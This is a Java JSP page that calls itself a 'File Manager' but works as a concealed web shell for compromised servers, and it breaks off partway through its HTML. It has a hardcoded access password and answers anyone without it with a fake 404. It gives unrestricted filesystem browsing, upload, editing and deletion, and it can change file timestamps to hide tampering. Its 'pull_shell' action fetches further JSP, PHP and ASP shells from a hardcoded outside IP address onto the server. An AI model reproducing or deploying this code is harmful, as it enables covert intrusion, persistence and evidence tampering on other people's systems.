<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.net.*, java.nio.file.*, java.nio.file.attribute.*, java.text.SimpleDateFormat, java.util.*" %>
<%!
String escapeHtml(String text) {
    if (text == null) return "";
    return text.replace("&", "&amp;")
               .replace("<", "&lt;")
               .replace(">", "&gt;")
               .replace("\"", "&quot;");
}

String escapeJs(String text) {
    if (text == null) return "";
    return text.replace("\\", "\\\\")
               .replace("'", "\\'")
               .replace("\"", "\\\"")
               .replace("\n", "\\n")
               .replace("\r", "\\r");
}

boolean isWindows() {
    return System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win");
}

String formatSize(long bytes) {
    if (bytes < 1024) return bytes + " B";
    if (bytes < 1024L * 1024L) return String.format(Locale.US, "%.2f KB", bytes / 1024.0);
    return String.format(Locale.US, "%.2f MB", bytes / (1024.0 * 1024.0));
}

boolean isWithinRoot(String canonicalPath, String rootPath) throws IOException {
    if (rootPath == null || rootPath.trim().isEmpty()) return true;
    String rootCanon = new File(rootPath).getCanonicalPath();
    return canonicalPath.equals(rootCanon)
        || canonicalPath.startsWith(rootCanon + File.separator);
}

boolean isSafeName(String name) {
    if (name == null || name.trim().isEmpty()) return false;
    return !name.contains("..") && !name.contains("/") && !name.contains("\\");
}

boolean isSafeChild(File parent, String name) throws IOException {
    if (!isSafeName(name)) return false;
    File child = new File(parent, name);
    String parentPath = parent.getCanonicalPath();
    String childPath = child.getCanonicalPath();
    return childPath.equals(parentPath) || childPath.startsWith(parentPath + File.separator);
}

String uploadMultipart(HttpServletRequest request, File destDir) throws IOException {
    String contentType = request.getContentType();
    if (contentType == null || !contentType.toLowerCase(Locale.US).startsWith("multipart/form-data")) {
        return "Upload failed: expected multipart/form-data";
    }
    int boundaryIndex = contentType.toLowerCase(Locale.US).indexOf("boundary=");
    if (boundaryIndex < 0) return "Upload failed: missing boundary";
    String boundary = "--" + contentType.substring(boundaryIndex + 9).trim();

    ByteArrayOutputStream raw = new ByteArrayOutputStream();
    try (InputStream in = request.getInputStream()) {
        byte[] buf = new byte[8192];
        int n;
        while ((n = in.read(buf)) != -1) raw.write(buf, 0, n);
    }
    byte[] body = raw.toByteArray();
    String bodyText = new String(body, "ISO-8859-1");
    int partStart = bodyText.indexOf(boundary);
    if (partStart < 0) return "Upload failed: invalid multipart body";

    int headerEnd = bodyText.indexOf("\r\n\r\n", partStart);
    if (headerEnd < 0) headerEnd = bodyText.indexOf("\n\n", partStart);
    if (headerEnd < 0) return "Upload failed: invalid part headers";

    String headers = bodyText.substring(partStart, headerEnd);
    String fileName = "upload.bin";
    for (String line : headers.split("\r?\n")) {
        String lower = line.toLowerCase(Locale.US);
        if (lower.startsWith("content-disposition:") && lower.contains("filename=")) {
            int fn = lower.indexOf("filename=");
            String value = line.substring(fn + 9).trim();
            if (value.startsWith("\"") && value.endsWith("\"")) {
                value = value.substring(1, value.length() - 1);
            } else {
                int semi = value.indexOf(';');
                if (semi >= 0) value = value.substring(0, semi).trim();
            }
            fileName = new File(value).getName();
            break;
        }
    }
    if (fileName.contains("..") || fileName.contains("/") || fileName.contains("\\")) {
        return "Upload failed: invalid filename";
    }

    int dataStart = headerEnd + (bodyText.substring(headerEnd).startsWith("\r\n\r\n") ? 4 : 2);
    int dataEnd = bodyText.indexOf(boundary, dataStart);
    if (dataEnd < 0) return "Upload failed: could not locate file data";

    int trim = 2;
    if (dataEnd >= 2 && bodyText.charAt(dataEnd - 2) == '\r' && bodyText.charAt(dataEnd - 1) == '\n') {
        trim = 2;
    } else if (dataEnd >= 1 && bodyText.charAt(dataEnd - 1) == '\n') {
        trim = 1;
    }
    byte[] fileBytes = Arrays.copyOfRange(body, dataStart, dataEnd - trim);

    File target = new File(destDir, fileName);
    try (FileOutputStream fos = new FileOutputStream(target)) {
        fos.write(fileBytes);
    }
    return "Uploaded: " + fileName + " (" + fileBytes.length + " bytes)";
}

boolean passwordEnabled(String password) {
    return password != null && !password.isEmpty();
}

String requestPassword(HttpServletRequest request) {
    String pwd = request.getParameter("pwd");
    if (pwd == null || pwd.isEmpty()) pwd = request.getParameter("password");
    return pwd;
}

String authSuffix(String pwd) {
    if (pwd == null || pwd.isEmpty()) return "";
    try {
        return "&pwd=" + URLEncoder.encode(pwd, "UTF-8");
    } catch (UnsupportedEncodingException e) {
        return "";
    }
}

String formatTs(long ms, SimpleDateFormat sdf) {
    if (ms <= 0) return "-";
    return sdf.format(new Date(ms));
}

String[] fileTimes(File f, SimpleDateFormat sdf) {
    String created = "-", modified = "-", accessed = "-";
    try {
        BasicFileAttributes attr = Files.readAttributes(f.toPath(), BasicFileAttributes.class);
        created = formatTs(attr.creationTime().toMillis(), sdf);
        modified = formatTs(attr.lastModifiedTime().toMillis(), sdf);
        accessed = formatTs(attr.lastAccessTime().toMillis(), sdf);
    } catch (Exception e) {
        modified = formatTs(f.lastModified(), sdf);
    }
    return new String[] { created, modified, accessed };
}

long parseDateTime(String s) throws Exception {
    s = s.trim().replace('T', ' ');
    if (s.length() == 16) s += ":00";
    return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(s).getTime();
}

boolean setFileMtime(File f, long mtimeMs) {
    try {
        Files.setLastModifiedTime(f.toPath(), FileTime.fromMillis(mtimeMs));
        return true;
    } catch (Exception e) {
        return f.setLastModified(mtimeMs);
    }
}

boolean deleteRecursive(File f) {
    if (f.isDirectory()) {
        File[] kids = f.listFiles();
        if (kids != null) {
            for (File kid : kids) {
                if (!deleteRecursive(kid)) return false;
            }
        }
    }
    return f.delete();
}

boolean renameEntry(File src, File dst) {
    if (src.renameTo(dst)) return true;
    try {
        Files.move(src.toPath(), dst.toPath(), StandardCopyOption.ATOMIC_MOVE);
        return true;
    } catch (Exception e) {
        try {
            Files.move(src.toPath(), dst.toPath());
            return true;
        } catch (Exception e2) {
            return false;
        }
    }
}

String defaultStartPath(ServletContext application, String rootPath) {
    if (rootPath != null && !rootPath.trim().isEmpty()) return rootPath;
    String real = application.getRealPath("/");
    if (real != null && !real.isEmpty()) return real;
    return System.getProperty("user.dir", ".");
}

String expandUserPath(String path) {
    if (path == null) return path;
    path = path.trim();
    String home = System.getProperty("user.home", "/");
    if ("~".equals(path)) return home;
    if (path.startsWith("~/") || path.startsWith("~\\")) {
        return home + path.substring(1);
    }
    return path;
}

boolean isAllowedShellFile(String name) {
    if (name == null || !isSafeName(name)) return false;
    String lower = name.toLowerCase(Locale.US);
    return lower.endsWith(".jsp") || lower.endsWith(".php")
        || lower.endsWith(".asp") || lower.endsWith(".aspx");
}

String shellFileForType(String type) {
    if (type == null) return null;
    String t = type.trim().toLowerCase(Locale.US);
    if ("jsp".equals(t)) return "shell.jsp";
    if ("php".equals(t)) return "shell.php";
    if ("asp".equals(t)) return "shell.asp";
    if ("aspx".equals(t)) return "shell.aspx";
    return null;
}

String joinDownloadUrl(String baseUrl, String fileName) {
    String base = baseUrl.trim();
    if (!base.endsWith("/")) base += "/";
    return base + fileName;
}

byte[] httpDownload(String urlStr, int maxBytes) throws IOException {
    URL url = new URL(urlStr);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    try {
        conn.setInstanceFollowRedirects(true);
        conn.setConnectTimeout(15000);
        conn.setReadTimeout(120000);
        conn.setRequestMethod("GET");
        conn.setRequestProperty("User-Agent", "mf-pull/1.0");
        int code = conn.getResponseCode();
        if (code < 200 || code >= 300) {
            throw new IOException("HTTP " + code);
        }
        InputStream in = conn.getInputStream();
        try {
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            byte[] buf = new byte[8192];
            int n;
            while ((n = in.read(buf)) != -1) {
                if (out.size() + n > maxBytes) {
                    throw new IOException("file too large (max " + maxBytes + " bytes)");
                }
                out.write(buf, 0, n);
            }
            return out.toByteArray();
        } finally {
            in.close();
        }
    } finally {
        conn.disconnect();
    }
}

String pullRemoteShell(String baseUrl, String remoteName, String localName, File destDir) throws IOException {
    if (!isAllowedShellFile(remoteName) || !isAllowedShellFile(localName)) {
        throw new IOException("unsupported filename");
    }
    String url = joinDownloadUrl(baseUrl, remoteName);
    byte[] data = httpDownload(url, 5 * 1024 * 1024);
    if (data.length == 0) throw new IOException("empty response");
    File target = new File(destDir, localName);
    FileOutputStream fos = new FileOutputStream(target);
    try {
        fos.write(data);
    } finally {
        fos.close();
    }
    return "Downloaded " + localName + " (" + data.length + " bytes) from " + url;
}

String getRequestAction(HttpServletRequest request) {
    if ("POST".equalsIgnoreCase(request.getMethod())) {
        String[] vals = request.getParameterValues("action");
        if (vals != null) {
            for (int i = vals.length - 1; i >= 0; i--) {
                String v = vals[i];
                if ("pull_shell".equals(v) || "del_shell".equals(v) || "save".equals(v)
                    || "rename".equals(v) || "delete".equals(v) || "create_dir".equals(v)
                    || "create_file".equals(v) || "upload".equals(v) || "set_time".equals(v)) {
                    return v;
                }
            }
        }
    }
    return request.getParameter("action");
}

String pageBaseUrl(HttpServletRequest request) {
    String uri = request.getRequestURI();
    if (uri != null && !uri.isEmpty()) {
        int q = uri.indexOf('?');
        if (q >= 0) return uri.substring(0, q);
        return uri;
    }
    String ctx = request.getContextPath();
    String sp = request.getServletPath();
    if (ctx == null) ctx = "";
    if (sp == null) sp = "";
    return ctx + sp;
}

String buildPageQuery(String path, String authQs, String hiddenQs) throws UnsupportedEncodingException {
    return "?path=" + URLEncoder.encode(path, "UTF-8") + authQs + hiddenQs;
}

void flashRedirect(HttpServletRequest request, HttpServletResponse response, HttpSession session,
        String path, String msg, boolean err, String authQs, String hiddenQs) throws IOException {
    session.setAttribute("flash_msg", msg);
    session.setAttribute("flash_err", err ? "1" : "0");
    String location = pageBaseUrl(request) + buildPageQuery(path, authQs, hiddenQs);
    response.sendRedirect(response.encodeRedirectURL(location));
}

%>
<%
// File manager. Auth: ?pwd=... Missing/wrong password -> HTTP 404.
String ROOT_PATH = "";
String ACCESS_PASSWORD = "dada9527";
String SHELL_DL_BASE = "http://47.76.38.146:8081/file/download/";

String action = getRequestAction(request);
String pwdParam = requestPassword(request);

if (passwordEnabled(ACCESS_PASSWORD)) {
    if (pwdParam == null || pwdParam.isEmpty() || !ACCESS_PASSWORD.equals(pwdParam)) {
        response.sendError(HttpServletResponse.SC_NOT_FOUND);
        return;
    }
}
String authQs = authSuffix(pwdParam);

String message = "";
boolean messageError = false;

if (action == null) {
    Object flash = session.getAttribute("flash_msg");
    if (flash != null) {
        message = String.valueOf(flash);
        messageError = "1".equals(session.getAttribute("flash_err"));
        session.removeAttribute("flash_msg");
        session.removeAttribute("flash_err");
    }
}

boolean showHidden = true;
String showHiddenParam = request.getParameter("show_hidden");
if ("0".equals(showHiddenParam) || "false".equalsIgnoreCase(showHiddenParam)) {
    showHidden = false;
}
String hiddenQs = showHidden ? "" : "&show_hidden=0";

String currentPath = request.getParameter("path");
if (currentPath == null || currentPath.trim().isEmpty()) {
    currentPath = defaultStartPath(application, ROOT_PATH);
} else {
    currentPath = expandUserPath(currentPath);
}

File currentDir = new File(currentPath);
String canonicalPath;
try {
    canonicalPath = currentDir.getCanonicalPath();
} catch (IOException e) {
    canonicalPath = currentPath;
    message = "Invalid path: " + e.getMessage();
    messageError = true;
    currentDir = new File(canonicalPath);
}

try {
    if (!isWithinRoot(canonicalPath, ROOT_PATH)) {
        currentPath = ROOT_PATH;
        currentDir = new File(currentPath);
        canonicalPath = currentDir.getCanonicalPath();
        message = "Path outside root; reset to allowed root.";
        messageError = true;
    }
} catch (IOException e) {
    message = "Root check failed: " + e.getMessage();
    messageError = true;
}

// Download -- must run before any HTML output
if ("download".equals(action)) {
    String fileName = request.getParameter("file");
    if (fileName != null && isSafeChild(currentDir, fileName)) {
        File downloadFile = new File(currentDir, fileName);
        if (downloadFile.exists() && downloadFile.isFile()) {
            response.reset();
            response.setContentType("application/octet-stream");
            String encoded = URLEncoder.encode(downloadFile.getName(), "UTF-8").replace("+", "%20");
            response.setHeader("Content-Disposition", "attachment; filename=\"" + downloadFile.getName() + "\"; filename*=UTF-8''" + encoded);
            long fileLen = downloadFile.length();
            if (fileLen <= Integer.MAX_VALUE) {
                response.setContentLength((int) fileLen);
            }
            try (FileInputStream fis = new FileInputStream(downloadFile);
                 OutputStream os = response.getOutputStream()) {
                byte[] buffer = new byte[8192];
                int bytesRead;
                while ((bytesRead = fis.read(buffer)) != -1) {
                    os.write(buffer, 0, bytesRead);
                }
                os.flush();
            }
            return;
        }
    }
    response.sendError(HttpServletResponse.SC_NOT_FOUND, "File not found");
    return;
}

// Load file content for editor -- plain text only
if ("load".equals(action)) {
    String fileName = request.getParameter("file");
    response.setContentType("text/plain; charset=UTF-8");
    if (fileName != null && isSafeChild(currentDir, fileName)) {
        File loadFile = new File(currentDir, fileName);
        if (loadFile.exists() && loadFile.isFile() && loadFile.length() <= 1024L * 1024L) {
            try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(loadFile), "UTF-8"))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    out.print(line);
                    out.print('\n');
                }
            }
            return;
        }
    }
    out.print("Unable to load file");
    return;
}

// POST actions (redirect after to avoid ?action= polluting next request)
if ("delete".equals(action)) {
    String fileName = request.getParameter("file");
    if (fileName != null && isSafeChild(currentDir, fileName)) {
        File targetFile = new File(currentDir, fileName);
        if (!targetFile.exists()) {
            message = "Not found: " + fileName;
            messageError = true;
        } else if (deleteRecursive(targetFile)) {
            message = "Deleted: " + fileName;
        } else {
            message = "Delete failed: " + fileName;
            messageError = true;
        }
    } else {
        message = "Invalid delete request";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("rename".equals(action)) {
    String fileName = request.getParameter("file");
    String newName = request.getParameter("newname");
    if (fileName != null && newName != null && isSafeChild(currentDir, fileName) && isSafeName(newName.trim())) {
        File src = new File(currentDir, fileName);
        File dst = new File(currentDir, newName.trim());
        if (!src.exists()) {
            message = "Not found: " + fileName;
            messageError = true;
        } else if (dst.exists()) {
            message = "Already exists: " + newName.trim();
            messageError = true;
        } else if (renameEntry(src, dst)) {
            message = "Renamed: " + fileName + " -> " + newName.trim();
        } else {
            message = "Rename failed: " + fileName;
            messageError = true;
        }
    } else {
        message = "Invalid name";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("save".equals(action)) {
    String fileName = request.getParameter("file");
    String content = request.getParameter("content");
    if (fileName != null && content != null && isSafeChild(currentDir, fileName)) {
        File targetFile = new File(currentDir, fileName);
        try (OutputStreamWriter writer = new OutputStreamWriter(new FileOutputStream(targetFile), "UTF-8")) {
            writer.write(content);
            message = "Saved: " + fileName;
        } catch (Exception e) {
            message = "Save failed: " + e.getMessage();
            messageError = true;
        }
    } else {
        message = "Save failed: invalid file or content";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("create_dir".equals(action)) {
    String dirName = request.getParameter("dirname");
    if (dirName != null && isSafeName(dirName.trim())) {
        File newDir = new File(currentDir, dirName.trim());
        if (newDir.mkdir()) {
            message = "Created directory: " + dirName.trim();
        } else {
            message = "Create directory failed: " + dirName.trim();
            messageError = true;
        }
    } else {
        message = "Invalid directory name";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("create_file".equals(action)) {
    String fileName = request.getParameter("filename");
    String content = request.getParameter("content");
    if (content == null) content = "";
    if (fileName != null && isSafeName(fileName.trim())) {
        File newFile = new File(currentDir, fileName.trim());
        if (newFile.exists()) {
            message = "File already exists: " + fileName.trim();
            messageError = true;
        } else {
            try (OutputStreamWriter writer = new OutputStreamWriter(new FileOutputStream(newFile), "UTF-8")) {
                writer.write(content);
                message = "Created file: " + fileName.trim();
            } catch (Exception e) {
                message = "Create file failed: " + e.getMessage();
                messageError = true;
            }
        }
    } else {
        message = "Invalid file name";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("upload".equals(action)) {
    try {
        message = uploadMultipart(request, currentDir);
        messageError = message.startsWith("Upload failed");
    } catch (Exception e) {
        message = "Upload failed: " + e.getMessage();
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("pull_shell".equals(action)) {
    String baseUrl = request.getParameter("dl_base");
    String shellType = request.getParameter("shell_type");
    String saveName = request.getParameter("save_name");
    if (baseUrl == null || baseUrl.trim().isEmpty()) {
        baseUrl = SHELL_DL_BASE;
    }
    baseUrl = baseUrl.trim();
    session.setAttribute("shell_dl_base", baseUrl);
    String remoteName = shellFileForType(shellType);
    String localName = remoteName;
    if (saveName != null && !saveName.trim().isEmpty()) {
        String custom = saveName.trim();
        if (isAllowedShellFile(custom)) localName = custom;
    }
    if (remoteName == null) {
        message = "Invalid shell type";
        messageError = true;
    } else {
        try {
            message = pullRemoteShell(baseUrl, remoteName, localName, currentDir);
            session.setAttribute("shell_last_type", shellType);
            session.setAttribute("shell_last_file", localName);
            session.setAttribute("shell_last_path", canonicalPath);
        } catch (Exception e) {
            message = "Download failed: " + e.getMessage();
            messageError = true;
        }
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("del_shell".equals(action)) {
    String fileName = request.getParameter("file");
    if (fileName != null) fileName = fileName.trim();
    if (fileName == null || !isAllowedShellFile(fileName) || !isSafeChild(currentDir, fileName)) {
        message = "Invalid shell file";
        messageError = true;
    } else {
        File target = new File(currentDir, fileName);
        if (!target.exists()) {
            message = "Shell not found: " + fileName;
            messageError = true;
        } else if (deleteRecursive(target)) {
            message = "Deleted shell: " + fileName;
            Object lastFile = session.getAttribute("shell_last_file");
            if (fileName.equals(lastFile)) {
                session.removeAttribute("shell_last_file");
            }
        } else {
            message = "Delete shell failed: " + fileName;
            messageError = true;
        }
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
} else if ("set_time".equals(action)) {
    String fileName = request.getParameter("file");
    String mtimeStr = request.getParameter("mtime");
    if (fileName != null && isSafeChild(currentDir, fileName) && mtimeStr != null && !mtimeStr.trim().isEmpty()) {
        File targetFile = new File(currentDir, fileName);
        if (!targetFile.exists()) {
            message = "Not found: " + fileName;
            messageError = true;
        } else {
            try {
                long mtimeMs = parseDateTime(mtimeStr);
                if (setFileMtime(targetFile, mtimeMs)) {
                    message = "Updated mtime: " + fileName + " -> " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(mtimeMs));
                } else {
                    message = "Set time failed: " + fileName;
                    messageError = true;
                }
            } catch (Exception e) {
                message = "Invalid time format (use yyyy-MM-dd HH:mm:ss): " + e.getMessage();
                messageError = true;
            }
        }
    } else {
        message = "Missing file or time";
        messageError = true;
    }
    flashRedirect(request, response, session, canonicalPath, message, messageError, authQs, hiddenQs);
    return;
}

File[] allFiles = currentDir.listFiles();
if (allFiles == null) allFiles = new File[0];
List<File> visible = new ArrayList<File>();
for (File f : allFiles) {
    if (!showHidden && f.getName().startsWith(".")) continue;
    visible.add(f);
}
File[] files = visible.toArray(new File[visible.size()]);
Arrays.sort(files, new Comparator<File>() {
    public int compare(File f1, File f2) {
        if (f1.isDirectory() && !f2.isDirectory()) return -1;
        if (!f1.isDirectory() && f2.isDirectory()) return 1;
        return f1.getName().compareToIgnoreCase(f2.getName());
    }
});

SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
String encodedPath = URLEncoder.encode(canonicalPath, "UTF-8");
String pageBase = pageBaseUrl(request);
String pageQuery = buildPageQuery(canonicalPath, authQs, hiddenQs);
String formActionUrl = pageBase;

StringBuilder hiBuf = new StringBuilder();
hiBuf.append("<input type=\"hidden\" name=\"path\" value=\"").append(escapeHtml(canonicalPath)).append("\">");
if (passwordEnabled(ACCESS_PASSWORD)) {
    hiBuf.append("<input type=\"hidden\" name=\"pwd\" value=\"").append(escapeHtml(pwdParam)).append("\">");
}
if (!showHidden) {
    hiBuf.append("<input type=\"hidden\" name=\"show_hidden\" value=\"0\">");
}
String hiddenInputs = hiBuf.toString();
String userHome = System.getProperty("user.home", "/");
String encodedHome = URLEncoder.encode(userHome, "UTF-8");
String encodedTmp = URLEncoder.encode(isWindows() ? "C:\\Windows\\Temp" : "/tmp", "UTF-8");
File[] diskRoots = File.listRoots();
String rootPath = (diskRoots != null && diskRoots.length > 0) ? diskRoots[0].getPath() : "/";
String encodedRoot = URLEncoder.encode(rootPath, "UTF-8");
String shellDlBase = SHELL_DL_BASE;
Object savedDlBase = session.getAttribute("shell_dl_base");
if (savedDlBase instanceof String && !((String) savedDlBase).trim().isEmpty()) {
    shellDlBase = ((String) savedDlBase).trim();
}

String webRoot = application.getRealPath("/");
String jspPath = application.getRealPath(request.getServletPath());
String serverInfo = application.getServerInfo();
String servletName = application.getServletContextName();
if (servletName == null || servletName.isEmpty()) servletName = "(default)";
String javaVersion = System.getProperty("java.version", "-");
String osInfo = System.getProperty("os.name", "-") + " / " + System.getProperty("os.arch", "-");
String userDir = System.getProperty("user.dir", "-");
String rootLimit = (ROOT_PATH != null && !ROOT_PATH.isEmpty()) ? ROOT_PATH : webRoot;

List<String> shellFilesPresent = new ArrayList<String>();
for (File f : allFiles) {
    if (isAllowedShellFile(f.getName())) shellFilesPresent.add(f.getName());
}
String shellLastType = "jsp";
Object lastTypeObj = session.getAttribute("shell_last_type");
if (lastTypeObj instanceof String && shellFileForType((String) lastTypeObj) != null) {
    shellLastType = ((String) lastTypeObj).trim().toLowerCase(Locale.US);
}
String shellLastFile = shellFileForType(shellLastType);
Object lastFileObj = session.getAttribute("shell_last_file");
Object lastPathObj = session.getAttribute("shell_last_path");
if (lastFileObj instanceof String && lastPathObj instanceof String
        && canonicalPath.equals(lastPathObj) && isAllowedShellFile((String) lastFileObj)) {
    shellLastFile = (String) lastFileObj;
}
StringBuilder shellPresentJs = new StringBuilder("[");
for (int i = 0; i < shellFilesPresent.size(); i++) {
    if (i > 0) shellPresentJs.append(",");
    shellPresentJs.append("'").append(escapeJs(shellFilesPresent.get(i))).append("'");
}
shellPresentJs.append("]");
%>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Manager</title>
    <style>
        * { box-sizing: border-box; }
        body { font: 13px/1.4 Consolas, Monaco, monospace; background: #1e1e1e; color: #d4d4d4; margin: 0; padding: 12px; }
        .wrap { max-width: 1200px; margin: 0 auto; }
        .bar { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; background: #2d2d2d; padding: 10px; border-radius: 6px; margin-bottom: 10px; }
        .goto-form { display: flex; flex: 1; gap: 6px; align-items: center; min-width: 280px; }
        .path-input { flex: 1; min-width: 160px; background: #1e1e1e; border: 1px solid #3c3c3c; padding: 6px 10px; border-radius: 4px; color: #d4d4d4; font: inherit; }
        .path-input:focus { outline: none; border-color: #4ec9b0; }
        .quick-nav { display: flex; gap: 4px; flex-wrap: wrap; }
        .quick-nav a { color: #4ec9b0; text-decoration: none; font-size: 12px; padding: 4px 8px; border: 1px solid #3c3c3c; border-radius: 4px; }
        .quick-nav a:hover { background: #2a2a2a; }
        .shell-types { display: flex; gap: 6px; flex-wrap: wrap; margin: 10px 0; }
        .shell-types button { min-width: 72px; }
        .shell-actions { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; align-items: center; }
        .shell-actions .disabled { opacity: 0.35; pointer-events: none; cursor: not-allowed; }
        .hint { color: #888; font-size: 11px; margin: 6px 0 0; word-break: break-all; }
        .env-box { background: #252526; border: 1px solid #3c3c3c; border-radius: 6px; padding: 10px 12px; margin-bottom: 10px; font-size: 12px; }
        .env-box h3 { margin: 0 0 8px; font-size: 13px; color: #909296; font-weight: 600; }
        .env-grid { display: grid; grid-template-columns: 110px 1fr; gap: 4px 10px; word-break: break-all; }
        .env-grid dt { color: #909296; margin: 0; }
        .env-grid dd { color: #d4d4d4; margin: 0; }
        button, .btn { background: #0e639c; color: #fff; border: 0; padding: 6px 12px; border-radius: 4px; cursor: pointer; font: inherit; text-decoration: none; display: inline-block; }
        button:hover, .btn:hover { background: #1177bb; }
        .btn-sm { padding: 3px 8px; font-size: 12px; }
        .btn-danger { background: #c42b1c; }
        .btn-danger:hover { background: #e03e2e; }
        .btn-ok { background: #2d6a4f; }
        .btn-ok:hover { background: #40916c; }
        .btn-muted { background: #3c3c3c; }
        table { width: 100%; border-collapse: collapse; background: #252526; }
        th, td { text-align: left; padding: 8px 10px; border-bottom: 1px solid #3c3c3c; }
        th { background: #2d2d2d; color: #aaa; font-weight: 600; }
        tr:hover { background: #2a2a2a; }
        .folder { color: #4ec9b0; text-decoration: none; }
        .folder:hover { text-decoration: underline; }
        .file { color: #ce9178; }
        .hidden-entry { color: #888; font-style: italic; }
        .time-col { color: #888; font-size: 12px; white-space: nowrap; }
        .actions { display: flex; gap: 4px; flex-wrap: wrap; }
        .msg { padding: 8px 10px; border-radius: 4px; margin-bottom: 10px; background: #2d6a4f; }
        .msg.err { background: #c42b1c; }
        .modal { display: none; position: fixed; inset: 0; background: rgba(0,0,0,.7); z-index: 1000; justify-content: center; align-items: center; }
        .modal-box { background: #2d2d2d; padding: 16px; border-radius: 6px; width: 92%; max-width: 720px; max-height: 85%; overflow: auto; }
        .modal-head { display: flex; justify-content: space-between; align-items: center; margin-bottom: 12px; }
        .modal-head h3 { margin: 0; font-size: 14px; }
        textarea, input[type="text"], input[type="file"] { width: 100%; background: #1e1e1e; color: #d4d4d4; border: 1px solid #3c3c3c; padding: 8px; border-radius: 4px; font: inherit; }
        textarea { height: 360px; font-family: Consolas, monospace; }
        label { color: #aaa; font-size: 12px; }
    </style>
</head>
<body>
<div class="wrap">
    <% if (!message.isEmpty()) { %>
    <div class="msg<%= messageError ? " err" : "" %>"><%= escapeHtml(message) %></div>
    <% } %>

    <div class="env-box">
        <h3>Environment</h3>
        <dl class="env-grid">
            <dt>Server</dt><dd><%= escapeHtml(serverInfo) %></dd>
            <dt>Context</dt><dd><%= escapeHtml(servletName) %></dd>
            <dt>Java</dt><dd><%= escapeHtml(javaVersion) %></dd>
            <dt>OS</dt><dd><%= escapeHtml(osInfo) %></dd>
            <dt>Web Root</dt><dd><%= escapeHtml(webRoot != null ? webRoot : "-") %></dd>
            <dt>JSP Path</dt><dd><%= escapeHtml(jspPath != null ? jspPath : "-") %></dd>
            <dt>Root Limit</dt><dd><%= escapeHtml(rootLimit != null ? rootLimit : "-") %></dd>
            <dt>Current Dir</dt><dd><%= escapeHtml(canonicalPath) %></dd>
            <dt>User Dir</dt><dd><%= escapeHtml(userDir) %></dd>
        </dl>
    </div>

    <div class="bar">
        <form method="get" class="goto-form" id="navForm" action="<%= pageBase %>">
            <input type="text" name="path" id="pathInput" class="path-input" value="<%= escapeHtml(canonicalPath) %>" placeholder="/var/www  or  ~/logs" spellcheck="false" autocomplete="off">
            <% if (passwordEnabled(ACCESS_PASSWORD)) { %><input type="hidden" name="pwd" value="<%= escapeHtml(pwdParam) %>"><% } %>
            <% if (!showHidden) { %><input type="hidden" name="show_hidden" value="0"><% } %>
            <button type="submit">Go</button>
        </form>
        <form method="get" style="display:inline;" action="<%= pageBase %>">
            <%= hiddenInputs %>
            <button type="submit">Refresh</button>
        </form>
        <span class="quick-nav">
            <a href="<%= pageBase %>?path=<%= encodedRoot %><%= authQs %><%= hiddenQs %>" title="<%= escapeHtml(rootPath) %>">/</a>
            <a href="<%= pageBase %>?path=<%= encodedHome %><%= authQs %><%= hiddenQs %>" title="<%= escapeHtml(userHome) %>">~</a>
            <a href="<%= pageBase %>?path=<%= encodedTmp %><%= authQs %><%= hiddenQs %>">/tmp</a>
        </span>
        <% if (currentDir.getParent() != null) { %>
        <a href="<%= pageBase %>?path=<%= URLEncoder.encode(currentDir.getParent(), "UTF-8") %><%= authQs %><%= hiddenQs %>" class="btn btn-muted">..</a>
        <% } %>
        <button type="button" onclick="showCreateFile()">New</button>
        <button type="button" onclick="showCreateDir()">Folder</button>
        <button type="button" onclick="showUpload()">Upload</button>
        <button type="button" class="btn-muted" onclick="showShellModal()">Shell</button>
        <% if (showHidden) { %>
        <a href="<%= pageBase %>?path=<%= encodedPath %><%= authQs %>&show_hidden=0" class="btn btn-muted">Hide dotfiles</a>
        <% } else { %>
        <a href="<%= pageBase %>?path=<%= encodedPath %><%= authQs %>" class="btn btn-muted">Show dotfiles</a>
        <% } %>
    </div>

    <table>
    <thead>
        <tr>
            <th>Name</th>
            <th width="90">Size</th>
            <th width="150">Modified</th>
            <th width="220">Actions</th>
        </tr>
    </thead>
    <tbody>
        <% for (File file : files) {
            String fileName = file.getName();
            boolean isDir = file.isDirectory();
            boolean isHidden = fileName.startsWith(".");
            String size = isDir ? "-" : formatSize(file.length());
            String[] times = fileTimes(file, sdf);
            String encName = URLEncoder.encode(fileName, "UTF-8");
            String nameCls = isDir ? "folder" : (isHidden ? "hidden-entry" : "file");
        %>
        <tr>
            <td>
                <% if (isDir) { %>
                    <a href="<%= pageBase %>?path=<%= URLEncoder.encode(file.getAbsolutePath(), "UTF-8") %><%= authQs %><%= hiddenQs %>" class="<%= nameCls %>"><%= escapeHtml(fileName) %></a>
                <% } else { %>
                    <span class="<%= nameCls %>"><%= escapeHtml(fileName) %></span>
                <% } %>
            </td>
            <td><%= size %></td>
            <td class="time-col"><%= escapeHtml(times[1]) %></td>
            <td class="actions">
                <% if (!isDir) { %>
                    <a href="<%= pageBase %>?action=download&amp;file=<%= encName %>&amp;path=<%= encodedPath %><%= authQs %>" class="btn btn-ok btn-sm">DL</a>
